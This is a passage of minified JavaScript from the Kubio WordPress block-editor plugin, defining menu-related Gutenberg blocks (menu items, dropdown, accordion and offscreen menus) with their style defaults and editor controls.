0:n.hideSubmenu),nestedLevel:f,isParentOfSelectedBlock:v}})))((e=>{const{isSelected:t,hasDescendants:o,menuForcedToFirstLevel:n,isFirstItem:a,attributes:l,isParentOfSelectedBlock:r,nestedLevel:i,clientId:c}=e,s=!Object(He.isKubioEditor)()||t||r,{getSelectedBlockClientId:u}=Object(Ve.useSelect)((e=>e("core/block-editor"))),{clearSelectedBlock:p}=Object(Ve.useDispatch)("core/block-editor"),b=Object(He.useActiveMedia)();Object(xe.useEffect)((()=>{Object(He.isKubioEditor)()||u()===c&&p()}),[b,p,c,u]);const m=Object(De.useBlockProps)({className:$e()({"menu-item-has-children":o&&!n,"current-menu-item":a})});return Object(xe.createElement)(xe.Fragment,null,t&&Object(xe.createElement)(KC,e),Object(xe.createElement)("li",Object(ut.a)({},m,{style:{"--kubio-menu-item-depth":i}}),s&&Object(xe.createElement)(QC,e),!s&&Object(xe.createElement)(ZC,{hasDescendants:o,menuForcedToFirstLevel:n,label:l.label})))}));const eI={title:Object(We.__)("Menu Item","kubio"),parent:[Yo.MENU_ITEMS],icon:on.BlockIcons.MenuItem,apiVersion:2,supports:{reusable:!1,html:!1},edit:JC,displayAdvancedPanelFor:(e,t)=>{const{getBlockParents:o,getBlock:n}=t("core/block-editor");return o(e).map((e=>{const t=n(e);return-1!==[Yo.DROPDOWN_MENU,Yo.ACCORDION_MENU].indexOf(t.name)&&t})).filter(Boolean).pop().clientId}},tI=Object(nn.extendBlockMeta)({category:"kubio-basic",parent:["kubio/menu-base"],attributes:{id:{type:"number"},parent:{type:"number"},label:{type:"string"},url:{type:"string"},target:{type:"string"},type:{type:"string"},object:{type:"string"},objectId:{type:"number"},order:{type:"number"}},supports:{inserter:!1,kubio:{stylingDisabled:!0,supports:{advanced:{responsive:!1}}}},usesContext:["kubio/hideSubmenu"]},{name:M_.MENU_ITEM_BLOCK,attributes:{url:{default:"#"},label:{default:Object(We.__)("Menu Item","kubio")}}}),oI="__CREATE_NEW__";function nI(e,t){return e&&t?Object(We.sprintf)(// translators: %s is for the menu location name
Object(We.__)("Use an existing menu for `%s` location, or create a new one","kubio"),t.description):!e&&t?Object(We.sprintf)(// translators: %s menu location name
Object(We.__)("Create a new menu for `%s` location","kubio"),t.description||t):e&&!t?Object(We.__)("Use an existing menu, or create a new one","kubio"):Object(We.__)("Create a new menu.","kubio")}const aI=Object(xe.forwardRef)((function(e,t){let{location:o,onSelect:n,onChange:a}=e;const[l,r]=Object(xe.useState)(""),[i,c]=Object(xe.useState)(!1),[s,u]=Object(xe.useState)(""),{menus:p,isResolvingMenus:b,hasResolvedMenus:m}=Object(Ve.useSelect)((e=>{const{getMenus:t,isResolving:o,hasFinishedResolution:n,getMenuLocations:a}=e("core"),l=[{per_page:-1}];return{menus:t(...l),isResolvingMenus:o("getMenus",l),hasResolvedMenus:n("getMenus",l),getMenuLocations:a}}),[l]),{saveMenu:d}=Object(Ve.useDispatch)("core"),h=!(!m||null==p||!p.length),O=b||i,{updateLocationMenu:g}=Object(M_.useMenusLocations)(),y=Object(xe.useMemo)((()=>[{id:"",name:Object(We.__)("Select menu","kubio")},...h?p:[],{id:oI,name:Object(We.__)("Create new menu","kubio")}].filter(Boolean)),[p,h]),j=async()=>{const e=l||oI;let t=e;if(c(!0),e===oI){const e=await d({name:s});e&&(t=e.id)}o&&t?g(o,t):n(t),a(t)},k=Object(xe.useMemo)((()=>!(l||!y.length)||(l||y.length?l===oI&&0===s.trim().length:0===s.trim().length)),[l,s,y]);return O?Object(xe.createElement)(Re.LoadingPlaceholder,{message:Object(We.__)("Loading…","kubio")}):Object(xe.createElement)(Re.BlockPlaceholder,{icon:on.BlockIcons.DropdownMenu,title:Object(We.__)("Kubio Menu","kubio"),description:nI(h,o)},Object(xe.createElement)("div",{ref:t,className:"wp-block-navigation-placeholder__actions"},Object(xe.createElement)(Le.BaseControl,null,Object(xe.createElement)(Le.Flex,{direction:"column"},y.length>0&&Object(xe.createElement)(Le.FlexBlock,null,Object(xe.createElement)(Le.BaseControl,null,Object(xe.createElement)(Le.BaseControl.VisualLabel,null,Object(We.__)("Select menu","kubio")),Object(xe.createElement)(Re.GutentagSelectControl,{className:$e()("wp-block-navigation-placeholder__select-control",{"has-menus":h}),value:l,onChange:e=>{r(e)},options:y.map((e=>{let{id:t,name:o}=e;return{value:t,label:o}}))}))),(l===oI||!y.length)&&Object(xe.createElement)(Le.FlexBlock,null,Object(xe.createElement)(Le.BaseControl,{className:"kubio-create-menu-form"},Object(xe.createElement)(Re.InputControl,{label:Object(We.__)("Menu name","kubio"),className:"kubio-create-menu-input",value:s,onChange:u,onEnter:j,placeholder:Object(We.__)("Please set a name","kubio")})))),Object(xe.createElement)(Le.Flex,null,Object(xe.createElement)(Le.FlexItem,null,Object(xe.createElement)(Le.BaseControl,null,Object(xe.createElement)(Le.Button,{isSecondary:!0,className:"wp-block-navigation-placeholder__button",disabled:k,isBusy:i,onClick:j},l!==oI&&y.length?Object(We.__)("Use selected menu","kubio"):Object(We.__)("Create","kubio"))))))))})),lI=e=>{let{isCurrentMenuSelected:t}=e;const{currentBlocks:o,ready:n}=(e=>{const{items:t,itemsToBlocks:o,lastChangeUID:n,id:a}=Object(M_.useMenuBlockEditor)(),l=Object(xe.useRef)([]),r=Object(xe.useRef)([]),i=Object(xe.useRef)(!1),[c,s]=Object(xe.useState)(""),[u,p]=Object(xe.useState)(0);return Object(xe.useEffect)((()=>{if(i.current=!0,Object(Be.isUndefined)(t))return;let b=!e&&c!==n;u!==a&&(p(a),b=!0),b&&(s(n),r.current=t,l.current=o(t))}),[e,n,a,t,c,u,o]),{currentBlocks:l.current,currentItems:r.current,ready:i.current}})(t),a=(()=>{const{onInput:e}=Object(M_.useMenuBlockEditor)();return Object(xe.useCallback)((t=>{e(t)}),[e])})(),l=(()=>{const{onChange:e}=Object(M_.useMenuBlockEditor)();return Object(xe.useCallback)((t=>{e(t)}),[e])})(),r=$o({className:"kubio-has-gap-fallback"},{orientation:"horizontal",value:o,allowedBlocks:[M_.MENU_ITEM_BLOCK],__experimentalAppenderTagName:"li",renderAppender:!1,templateLock:!1,onInput:a,onChange:l}),i=Object(xe.useMemo)((()=>r),[o]);return n?o.length?Object(xe.createElement)("ul",i):Object(xe.createElement)(Re.SmallPlaceholder,{message:Object(We.__)("Menu has no items","kubio")}):Object(xe.createElement)(Re.LoadingPlaceholder,{message:Object(We.__)("Loading menu…","kubio")})},rI=e=>{let{isCurrentMenuSelected:t}=e;const{isResolving:o,hasResolved:n}=Object(M_.useMenuBlockEditor)(),[a,l]=Object(xe.useState)(!0);return Object(xe.useLayoutEffect)((()=>{l(o||!n)}),[n,o]),a?Object(xe.createElement)(Re.LoadingPlaceholder,{message:Object(We.__)("Loading menu…","kubio")}):Object(xe.createElement)(lI,{isCurrentMenuSelected:t})},iI=Object(Me.compose)(Object(Ve.withSelect)(((e,t)=>{const{getBlockParents:o,getSelectedBlock:n}=e("core/block-editor"),{clientId:a}=t,l=n();return{isCurrentMenuSelected:-1!==(l?o(l.clientId):[]).indexOf(a)||a===(null==l?void 0:l.clientId)}})))((e=>{let{id:t,location:o,isCurrentMenuSelected:n,onChangeMenuId:a,clientId:l,menuClientId:r}=e;const{locationsResolving:i,foundLocation:c,onSelect:s,currentMenuId:u}=function(e,t){let o=arguments.length>2&&void 0!==arguments[2]?arguments[2]:null;const[n,a]=Object(xe.useState)(null),[l,r]=Object(xe.useState)(-1),{menuLocations:i,isResolvingLocation:c,hasResolvedLocations:s}=Object(M_.useMenusLocations)();return Object(xe.useEffect)((()=>{if(t&&null!==i){const e=Object(Be.find)(i,{name:t}),o=null==e?void 0:e.menu;-1!==o&&o===l||(a(e),r(o))}else r(e)}),[e,i,t,c,s]),{locationsResolving:Object(xe.useMemo)((()=>!!t&&(c||!s)),[t,c,s]),onSelect:e=>{r(e),!t&&o&&o(e)},foundLocation:n,currentMenuId:l}}(t,o,a),{selectBlock:p}=Object(Ve.useDispatch)("core/block-editor"),b=Object(xe.useMemo)((()=>u?Object(xe.createElement)(M_.MenuEntityProvider,{id:u},Object(xe.createElement)(rI,{isCurrentMenuSelected:n,clientId:l})):Object(xe.createElement)(xe.Fragment,null)),[n,l,u]);return i?Object(xe.createElement)(Re.LoadingPlaceholder,{message:Object(We.__)("Loading locations…","kubio")}):o&&null===c?Object(xe.createElement)(Re.LoadingPlaceholder,{message:Object(We.__)("Invalid Menu Location","kubio")}):u?b:Object(xe.createElement)(aI,{onSelect:s,location:null==c?void 0:c.name,onChange:()=>p(r)})})),cI=iI,sI=Object(Me.compose)(U_,Object(He.withStyledElements)(),Object(He.withRedirectSelectionToParent)({skipKubioEditorCheck:!0,shouldIgnore:(e,t)=>!t.menuId}))((e=>{const{attributes:t,setAttributes:o,StyledElements:n,clientId:a,menuClientId:l}=e,{location:r,id:i}=t,c=H_(a,r),s=r||c,u=Object(xe.useCallback)((e=>{o({id:parseInt(e)||0})}),[o]),p=Object(He.useUndoTrapDispatch)(),{updateBlockAttributes:b}=Object(Ve.useDispatch)("core/block-editor");Object(xe.useEffect)((()=>{!r&&c&&p((()=>b(a,{location:c})))}),[]);const m=Object(xe.useMemo)((()=>Object(xe.createElement)(cI,{menuClientId:l,location:s,id:i,onChangeMenuId:u,clientId:a})),[l,s,i,u,a]);return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(fC,null),Object(xe.createElement)(n.Outer,null,m))})),uI={outer:{label:Object(We.__)("Main menu","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.SPACING,cn.StylesEnum.BORDER],states:[cn.StatesEnum.NORMAL,cn.StatesEnum.HOVER]}}},pI={name:"kubio/menu-items",category:"kubio-basic",attributes:{location:{type:"string",default:""},id:{type:"number",default:0},kubio:{type:"object"}},supports:{kubio:{stylingDisabled:!0,elementsEnum:{OUTER:"outer"},elementsByName:{outer:{default:!0,wrapper:!0,props:{className:["kubio-menu"]}}},template:{type:"element",props:{name:"outer"}},supports:{advanced:{responsive:!1}}}},usesContext:["kubio/hideSubmenu"]},bI=Object(nn.extendBlockMeta)(pI,{title:Object(We.__)("Menu Items","kubio"),parent:[Yo.DROPDOWN_MENU,Yo.ACCORDION_MENU],icon:on.BlockIcons.MenuItem,apiVersion:2,supports:{kubio:{elementsByName:uI},reusable:!1,html:!1},edit:e=>Object(xe.createElement)(Ve.AsyncModeProvider,{value:!0},Object(xe.createElement)(sI,e))}),mI=Object(Me.compose)(U_)((e=>{let{menuClientId:t,menuName:o,menuId:n,menuLocation:a,menuItemsClientId:l,offscreenClientId:r}=e;return Object(xe.createElement)(ze.DataHelperContextFromClientId,{clientId:r},Object(xe.createElement)(Xy,{withAlignControl:!0,withLinkControl:!1,styledContainer:OC,path:"icon"}),Object(xe.createElement)(kC,{menuId:n,location:a,menuClientId:t,menuItemsClientId:l,menuName:o,clientId:r}))})),dI=e=>Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)(mI,e)),hI=()=>Object(xe.createElement)(ze.StyleInspectorControls,null,Object(xe.createElement)(Nu,{styledElement:hC}),Object(xe.createElement)(Lu,{styledElement:hC})),OI="kubio-offscreen-holder";let gI={offsetWidth:0,offsetHeight:0,offsetLeft:0,offsetTop:0},yI=null;const jI=e=>{if(!yI&&(yI=e.querySelector(".edit-site-visual-editor"),!yI))return;const{offsetWidth:t,offsetHeight:o,offsetLeft:n,offsetTop:a}=yI;if(t!==gI.offsetWidth||o!==gI.offsetHeight||a!==gI.offsetTop||n!==gI.offsetLeft){gI={offsetWidth:t,offsetHeight:o,offsetTop:a,offsetLeft:n};const l=e.querySelector(`.${OI}`);l&&(l.style.width=`${t}px`,l.style.height=`${o}px`,l.style.left=`${n}px`,l.style.top=`${a}px`)}},kI=new Map,EI=e=>{let{children:t}=e;const{ownerDocument:o}=Object(He.useOwnerDocumentContext)(),n=Object(xe.useMemo)((()=>(e=>{if(!e)return null;const t=e.querySelector(".block-editor-block-list__layout");if(!t)return null;let o=e.querySelector(`.${OI}`);return o||(o=e.createElement("div"),o.setAttribute("class",OI),t.append(o),(e=>{kI.has(e)||e.defaultView!==top.window&&(Object(Ve.subscribe)((()=>jI(e))),new e.defaultView.ResizeObserver((()=>jI(e))).observe(e.body),kI.set(e,!0))})(e)),o})(o)),[o]);if(!n)return Object(xe.createElement)(xe.Fragment,null);const a=Object(xe.createPortal)(t,n);return Object(xe.createElement)(Le.Fill,{name:"Popover"},a)},fI=e=>{let{StyledElements:t,activeMedia:o,dropdownMenuOffcanvasSetting:n,dropdownMenuClientId:a,dataHelper:l}=e;const r=l.getAttribute("icon"),{displayOffScreen:i,toggleDisplayOffscreen:c}=uC(),{selectBlock:s}=Object(Ve.useDispatch)("core/block-editor"),u=$o({},{templateLock:"all"}),p={display:i?void 0:"none"};return Object(xe.createElement)(t.Container,null,Object(xe.createElement)(t.Align,null,Object(xe.createElement)(t.IconWrapper,null,Object(xe.createElement)(t.Icon,{tag:Re.CanvasIcon,name:r}))),Object(xe.createElement)(EI,null,i&&Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(t.OffscreenOverlay,{onClick:()=>(!1,a&&(pC(n,o)||s(a)),void c(false)),className:i?"h-offcanvas-opened":""}),Object(xe.createElement)(t.Offscreen,Object(ut.a)({},u,{style:p})))))};var vI=Object(Me.compose)(Object(He.withColibriData)(),Object(He.withStyledElements)((()=>({[mC]:{className:["kubio-offscreen-overlay"].join(" ")},[dC]:{className:["kubio-offscreen-icon-wrapper"]}}))),Object(Ve.withSelect)(((e,t)=>{const{getBlockParents:o,getBlocksByClientId:n}=e("core/block-editor"),{clientId:a}=t,l=o(a),r=Object(Be.find)(n(l),{name:Yo.DROPDOWN_MENU}),i=Object(He.getActiveMediaFromRegistry)(e),c={dropdownMenuOffcanvasSetting:Object(Be.get)(r,"attributes.showOffscreenMenuOn","has-offcanvas-mobile"),dropdownMenuClientId:null==r?void 0:r.clientId,activeMedia:i};return Object(He.useDeepMemo)((()=>c),[c])})))((e=>Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(dI,e),Object(xe.createElement)(hI,e),Object(xe.createElement)(fI,e))));const _I=Object(We.__)("Add your main web pages to a stylish accordion menu that will help your visitors find the content they need.","kubio"),CI=(e,t)=>{var o;return e&&(e.innerBlocks=null!=e&&null!==(o=e.innerBlocks)&&void 0!==o&&o.length?e.innerBlocks:[Object(He.composeBlockWithStyle)(Yo.MENU_ITEMS,{},[],t)]),null!=e&&e.isDefault?{...e,description:_I}:e},II=function(e){var t,o;let n=arguments.length>1&&void 0!==arguments[1]&&arguments[1];return{...e,innerBlocks:null!=e&&null!==(t=e.innerBlocks)&&void 0!==t&&t.length?e.innerBlocks:[Object(He.composeBlockWithStyle)(Yo.ROW,{},[Object(He.composeBlockWithStyle)(Yo.COLUMN,{_style:{descendants:{container:{columnWidth:{type:"flexgrow"}}}}},[Object(He.composeBlockWithStyle)(Yo.LOGO,{},[],n)],n)],n),Object(He.composeBlockWithStyle)(Yo.ACCORDION_MENU,{style:{descendants:{"main-menu-a":{typography:{color:"rgba(var(--kubio-color-5),1)"},states:{hover:{typography:{color:"rgba(var(--kubio-color-1),1)"}},menuButtonActive:{typography:{color:"rgba(var(--kubio-color-1),1)"}}}}}}},null===(o=CI(null,n))||void 0===o?void 0:o.innerBlocks,n),Object(He.composeBlockWithStyle)(Yo.ROW,{},[Object(He.composeBlockWithStyle)(Yo.COLUMN,{},[Object(He.composeBlockWithStyle)(Yo.COPYRIGHT,{},[],n)],n)],n)]}},TI=function(){var e;let t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},o=arguments.length>1&&void 0!==arguments[1]&&arguments[1];return{...t,innerBlocks:null!=t&&null!==(e=t.innerBlocks)&&void 0!==e&&e.length?t.innerBlocks:[Object(He.composeBlockWithStyle)(Yo.MENU_OFFSCREEN_CONTENT,{},II(null,o).innerBlocks,o)]}},SI={name:"kubio/menu-offscreen",category:"kubio-basic",attributes:{kubio:{type:"object"},openSide:{type:"string",default:"right"},icon:{type:"string",default:"font-awesome/navicon"}},supports:{kubio:{default:{style:{descendants:{offscreen:{background:{color:"#222B34"},width:{value:300,unit:"px",important:!0}},offscreenOverlay:{background:{color:"rgba(0,0,0,0.5)"}},icon:{background:{color:"rgba(0, 0, 0, 0.1)"},border:{top:{radius:{left:{unit:"%",value:"100"},right:{unit:"%",value:"100"}},width:{value:"0",unit:"px"},style:"solid",color:"black"},left:{width:{value:"0",unit:"px"},style:"solid",color:"black"},right:{width:{value:"0",unit:"px"},style:"solid",color:"black"},bottom:{radius:{left:{unit:"%",value:"100"},right:{unit:"%",value:"100"}},width:{value:"0",unit:"px"},style:"solid",color:"black"}},fill:"white",padding:{top:{unit:"px",value:"5"},bottom:{unit:"px",value:"5"},left:{unit:"px",value:"5"},right:{unit:"px",value:"5"}},width:{unit:"px",value:"24"},height:{unit:"px",value:"24"}}}}},elementsEnum:{CONTAINER:"container",OFFSCREEN:"offscreen",OFFSCREEN_OVERLAY:"offscreenOverlay",ICON_WRAPPER:"iconWrapper",ICON:"icon",ALIGN:"align"},elementsByName:{container:{wrapper:!0},iconWrapper:{props:{tag:"button",className:["kubio-offscreen-icon-wrapper"]}},icon:{default:!0,props:{tag:"icon"}},offscreen:{useWrapperPrefix:!1,usePrefix:!1,props:{className:["kubio-offscreen","offscreen"]}},offscreenOverlay:{useWrapperPrefix:!1,usePrefix:!1,props:{className:["kubio-offscreen-overlay"]}}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{name:"align"},children:[{type:"element",props:{name:"iconWrapper"},children:[{type:"element",props:{name:"icon"}}]}]},{type:"element",props:{name:"offscreenOverlay"}},{type:"element",props:{name:"offscreen"},children:[{type:"element",props:{name:"inner"},children:[{type:"wp:InnerBlocks"}]}]}]}}}},wI=Object(nn.extendBlockMeta)(SI,{title:Object(We.__)("Offscreen Menu","kubio"),parent:[Yo.DROPDOWN_MENU],icon:on.BlockIcons.Offscreen,apiVersion:2,supports:{kubio:{elementsByName:gC},reusable:!1,html:!1},edit:vI,save:()=>Object(xe.createElement)(De.InnerBlocks.Content,null),variationsFilter:TI});var PI=Object(Me.compose)(Object(He.withColibriData)(),Object(He.withStyledElements)())((e=>{const{StyledElements:t,isSelected:o}=e,n=Object(xe.useRef)(),a=$o({ref:n},{templateLock:"all"});return Object(xe.createElement)(xe.Fragment,null,o&&Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(dI,e),Object(xe.createElement)(hI,e)),Object(xe.createElement)(t.Container,Object(ut.a)({},a,{ref:n})))}));const AI={container:{label:Object(We.__)("Container","kubio"),supports:{styles:[],states:["normal","hover"]}}},BI={name:"kubio/menu-offscreen-content",category:"kubio-basic",attributes:{kubio:{type:"object"}},supports:{kubio:{elementsEnum:{CONTAINER:"container"},elementsByName:{container:{default:!0,wrapper:!0}},template:{type:"element",props:{name:"container"},children:[{type:"wp:InnerBlocks"}]}}}},NI=Object(nn.extendBlockMeta)(BI,{title:Object(We.__)("Offscreen Menu Content","kubio"),parent:[Yo.MENU_OFFSCREEN],icon:on.BlockIcons.Offscreen,apiVersion:2,supports:{kubio:{elementsByName:AI},reusable:!1,html:!1},edit:PI,save:()=>Object(xe.createElement)(De.InnerBlocks.Content,null),displayAdvancedPanelFor:(e,t)=>{const{getBlockParents:o,getBlock:n}=t("core/block-editor");return o(e).map((e=>{const t=n(e);return-1!==[Yo.MENU_OFFSCREEN].indexOf(t.name)&&t})).filter(Boolean).pop().clientId}}),xI=Object(We.__)("Add your main web pages and products to a stylish dropdown menu with this Gutenberg block.","kubio"),RI=Object(He.gutentagCompose)((e=>{const t=e.getProp("hoverEffect.type")!==vC&&e.getProp("hoverEffect.type"),o=[t,-1!==SC.indexOf(t)&&e.getProp("hoverEffect.border.effect"),-1!==wC.indexOf(t)&&e.getProp("hoverEffect.background.effect")].filter(Boolean);return{offscreenDisplayClass:e.getAttribute("showOffscreenMenuOn")||"has-offcanvas-mobile",effectClasses:o}}),(function(){let{computed:e={}}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const{offscreenDisplayClass:t,effectClasses:o}=e;return{[xC]:{className:()=>[t,...o]}}})),DI=RI((e=>{const{clientId:t,StyledElements:o,attributes:n}=e,{showOffscreenMenuOn:a}=n,l=H_(t),r=Object(He.useUndoTrapDispatch)(),{updateBlockAttributes:i}=Object(Ve.useDispatch)("core/block-editor");Object(xe.useEffect)((()=>{const e=0===(l||"").indexOf("footer-menu");if(!a)if(e){const e=rC;r((()=>i(t,{showOffscreenMenuOn:e,hideSubmenu:!0})))}else r((()=>i(t,{showOffscreenMenuOn:nC})))}),[]);const c=Object(xe.useRef)(),s=$o({ref:c},{templateLock:"all"});return Object(xe.createElement)(sC,null,Object(xe.createElement)(KC,e),Object(xe.createElement)(o.Outer,Object(ut.a)({},s,{ref:c})))})),LI=Object(nn.extendBlockMeta)({name:"kubio/dropdown-menu",category:"kubio-components",attributes:{kubio:{type:"object"},templateLock:{type:"string"},hideSubmenu:{type:"boolean",default:!1},showOffscreenMenuOn:{type:"string",default:""}},providesContext:{"kubio/hideSubmenu":"hideSubmenu"},supports:{kubio:{default:{style:{descendants:{"sub-menu-a":{border:{bottom:{style:"none"}}}}}},elementsEnum:{SUB_MENU_A:"sub-menu-a",OUTER:"outer",HOVER_EFFECT_BORDER:"hover-effect-border",HOVER_EFFECT_BACKGROUND:"hover-effect-background"},elementsByName:{outer:{default:!0,wrapper:!0,props:{className:["kubio-dropdown-menu","h-ignore-global-body-typography"]}},"hover-effect-border":{selector:"&.bordered-active-item > .kubio-menu > ul > li::before, &.bordered-active-item > .kubio-menu > ul > li::after"},"hover-effect-background":{selector:"&.solid-active-item > .kubio-menu > ul > li::before, &.solid-active-item > .kubio-menu > ul > li::after"}},template:{type:"element",props:{name:"outer"},children:[{type:"wp:InnerBlocks"}]},supports:{advanced:{responsive:!0}}}}},{attributes:{hideSubmenu:{type:"boolean",default:!1}},providesContext:{"kubio/hideSubmenu":"hideSubmenu"},supports:{kubio:{default:{style:{descendants:{"main-menu-a":{typography:{decoration:"none"}},"sub-menu-a":{typography:{decoration:"none"}}}}},elementsEnum:{MAIN_MENU_UL:"main-menu-ul",MAIN_MENU_LI:"main-menu-li",MAIN_MENU_A:"main-menu-a",MAIN_MENU_ICON:"main-menu-icon",SUB_MENU_UL:"sub-menu-ul",SUB_MENU_LI:"sub-menu-li",SUB_MENU_A:"sub-menu-a",SUB_MENU_ICON:"sub-menu-icon",FIRST_SUB_MENU_UL_BEFORE:"first-sub-menu-ul-before",FIRST_SUB_MENU_UL:"first-sub-menu-ul"},elementsByName:{"main-menu-ul":{selector:"> .kubio-menu > ul"},"main-menu-li":{selector:{normal:"> .kubio-menu > ul > li"}},"main-menu-a":{selector:{normal:"> .kubio-menu > ul > li > a",hover:"> .kubio-menu > ul > li > a:hover,> .kubio-menu > ul > li > a.hover",menuButtonActive:"> .kubio-menu > ul > li.current-menu-item > a,> .kubio-menu > ul > li.current_page_item > a"}},"main-menu-icon":{selector:"> .kubio-menu > ul > li > a > svg"},"sub-menu-ul":{selector:"> .kubio-menu li > ul"},"sub-menu-li":{selector:{normal:"> .kubio-menu li > ul > li"}},"sub-menu-a":{selector:{normal:"> .kubio-menu li > ul > li> a",hover:"> .kubio-menu li > ul > li > a:hover,> .kubio-menu li > ul > li > a.hover",menuButtonActive:"> .kubio-menu li > ul > li.current-menu-item > a,> .kubio-menu li > ul > li.current_page_item > a"}},"sub-menu-icon":{selector:"> .kubio-menu li > ul > li > a > svg"},"first-sub-menu-ul":{selector:"> .kubio-menu > ul > li > ul"},"first-sub-menu-ul-before":{selector:"> .kubio-menu > ul > li > ul:before"}}}}}),MI=Object(nn.extendBlockMeta)(LI,{title:Object(We.__)("Dropdown Menu","kubio"),keywords:[Object(We.__)("menu","kubio"),Object(We.__)("dropdown","kubio")],icon:on.BlockIcons.DropdownMenu,apiVersion:2,supports:{kubio:{elementsByName:LC,elementsGroups:eC},reusable:!1,html:!1},edit:DI,save:()=>Object(xe.createElement)(De.InnerBlocks.Content,null),variationsFilter:function(e){var t;let o=arguments.length>1&&void 0!==arguments[1]&&arguments[1];return e.innerBlocks=null!=e&&null!==(t=e.innerBlocks)&&void 0!==t&&t.length?e.innerBlocks:[Object(He.composeBlockWithStyle)(Yo.MENU_ITEMS,{},[],o),Object(He.composeBlockWithStyle)(Yo.MENU_OFFSCREEN,{},TI(null,o).innerBlocks,o)],e.attributes={...null==e?void 0:e.attributes,showOffscreenMenuOn:""},null!=e&&e.isDefault?{...e,description:xI}:e}}),WI=Object(Me.compose)(Object(He.withColibriDataAutoSave)((()=>{})),Object(He.withStyledElements)())((e=>{const{StyledElements:t}=e,o=Object(xe.useRef)(),n=$o({ref:o},{templateLock:"all"});return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(KC,e),Object(xe.createElement)(t.Outer,Object(ut.a)({},n,{ref:o})))})),HI=Object(Me.compose)()((()=>Object(xe.createElement)(De.InnerBlocks.Content,null))),GI={outer:{label:Object(We.__)("Menu container","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.SPACING,cn.StylesEnum.BORDER],states:["normal"]}},...J_},UI=Object(nn.extendBlockMeta)({name:"kubio/accordion-menu",category:"kubio-components",attributes:{kubio:{type:"object"}},supports:{kubio:{default:{style:{descendants:{"main-menu-a":{border:{bottom:{width:{unit:"px",value:"1"},style:"solid",color:"#808080"},top:{style:"solid",color:"#808080"},left:{style:"solid",color:"#808080"},right:{style:"solid",color:"#808080"}},typography:{size:{value:14,unit:"px"}},padding:{top:{unit:"px",value:"12"},bottom:{unit:"px",value:"12"},left:{unit:"px",value:"40"}}},"sub-menu-a":{border:{bottom:{width:{unit:"px",value:"1"},style:"solid",color:"#808080"},top:{style:"solid",color:"#808080"},left:{style:"solid",color:"#808080"},right:{style:"solid",color:"#808080"}},padding:{top:{unit:"px",value:"12"},bottom:{unit:"px",value:"12"},left:{unit:"px",value:"40"}},typography:{size:{value:14,unit:"px"}}},"main-menu-icon":{padding:{left:{value:20,unit:"px"},right:{value:20,unit:"px"}}},"sub-menu-icon":{padding:{left:{value:20,unit:"px"},right:{value:20,unit:"px"}}},"main-menu-ul":{"--kubio-accordion-menu-offset":{value:10,unit:"px"}}}}},elementsEnum:{OUTER:"outer"},elementsByName:{outer:{default:!0,wrapper:!0,props:{className:["kubio-accordion-menu","h-ignore-global-body-typography"]}}},template:{type:"element",props:{name:"outer"},children:[{type:"wp:InnerBlocks"}]}}}},{attributes:{hideSubmenu:{type:"boolean",default:!1}},providesContext:{"kubio/hideSubmenu":"hideSubmenu"},supports:{kubio:{default:{style:{descendants:{"main-menu-a":{typography:{decoration:"none"}},"sub-menu-a":{typography:{decoration:"none"}}}}},elementsEnum:{MAIN_MENU_UL:"main-menu-ul",MAIN_MENU_LI:"main-menu-li",MAIN_MENU_A:"main-menu-a",MAIN_MENU_ICON:"main-menu-icon",SUB_MENU_UL:"sub-menu-ul",SUB_MENU_LI:"sub-menu-li",SUB_MENU_A:"sub-menu-a",SUB_MENU_ICON:"sub-menu-icon",FIRST_SUB_MENU_UL_BEFORE:"first-sub-menu-ul-before",FIRST_SUB_MENU_UL:"first-sub-menu-ul"},elementsByName:{"main-menu-ul":{selector:"> .kubio-menu > ul"},"main-menu-li":{selector:{normal:"> .kubio-menu > ul > li"}},"main-menu-a":{selector:{normal:"> .kubio-menu > ul > li > a",hover:"> .kubio-menu > ul > li > a:hover,> .kubio-menu > ul > li > a.hover",menuButtonActive:"> .kubio-menu > ul > li.current-menu-item > a,> .kubio-menu > ul > li.current_page_item > a"}},"main-menu-icon":{selector:"> .kubio-menu > ul > li > a > svg"},"sub-menu-ul":{selector:"> .kubio-menu li > ul"},"sub-menu-li":{selector:{normal:"> .kubio-menu li > ul > li"}},"sub-menu-a":{selector:{normal:"> .kubio-menu li > ul > li> a",hover:"> .kubio-menu li > ul > li > a:hover,> .kubio-menu li > ul > li > a.hover",menuButtonActive:"> .kubio-menu li > ul > li.current-menu-item > a,> .kubio-menu li > ul > li.current_page_item > a"}},"sub-menu-icon":{selector:"> .kubio-menu li > ul > li > a > svg"},"first-sub-menu-ul":{selector:"> .kubio-menu > ul > li > ul"},"first-sub-menu-ul-before":{selector:"> .kubio-menu > ul > li > ul:before"}}}}}),FI=Object(nn.extendBlockMeta)(UI,{title:Object(We.__)("Accordion Menu","kubio"),keywords:[Object(We.__)("menu","kubio"),Object(We.__)("accordion","kubio")],icon:on.BlockIcons.AccordionMenu,apiVersion:2,supports:{reusable:!1,html:!1,kubio:{elementsByName:GI,elementsGroups:eC}},edit:WI,save:HI,variationsFilter:CI}),zI={MenuItem:Q,MenuItems:Z,DropdownMenu:te,AccordionMenu:oe,MenuOffscreen:J,MenuOffscreenContent:ee},VI=e=>({terms:e,...null==e?void 0:e.reduce(((e,t)=>{const{mapById:o,mapByName:n,names:a}=e;return o[t.id]=t,n[t.name]=t,a.push(t.name),e}),{mapById:{},mapByName:{},names:[]})}),YI=(Object(We.__)("Include","kubio"),Object(We.__)("Exclude","kubio"),Object(We.__)("Only","kubio"),{toolbar1:"bold,italic,link,kubioTags",onSetup:e=>{e.addButton("kubioTags",{text:Object(We.__)("Tags","kubio"),type:"menubutton",menu:[{text:Object(We.__)("Post name","kubio"),onclick(){e.insertContent("{post_title}")}}]})}}),$I=Object(Me.compose)(Object(Ve.withSelect)(((e,t)=>{var o,n,a,l;let{clientId:r,name:i}=t;const{getBlock:c,getBlockParents:s,getBlocks:u}=e("core/block-editor");let p=c(r);i!==Yo.QUERY&&(p=s(r).map((e=>c(e))).filter((e=>(null==e?void 